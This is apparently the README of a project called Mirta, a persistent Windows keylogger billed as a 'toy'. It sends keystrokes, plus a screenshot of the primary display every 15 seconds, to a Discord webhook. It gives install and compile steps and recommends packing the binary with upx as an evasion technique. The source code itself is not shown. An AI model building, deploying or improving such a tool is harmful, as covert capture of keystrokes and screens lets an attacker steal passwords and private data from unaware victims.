Mirta

A simple, persistent windows toy keylogger using discord webhooks to send data.

• Takes a screenshot of the primary display every 15 seconds
• Sends the keystroke when its size is about 0.15kb

Setup

You will have to install gcc, make and upx (this one is for compress the executable post-compilation, it's a little evasion technique)
To install these packages easily, i use scoop as a package manager on windows.

scoop install gcc make upx

After that, you have to include the stb_image_write.h header file. You could do that easily with cmd using curl.

curl https://raw.githubusercontent.com/nothings/stb/refs/heads/master/stb_image_write.h > stb_image_write.h

Compile

make all WEBHOOK="YOUR_DISCORD_WEBHOOK"
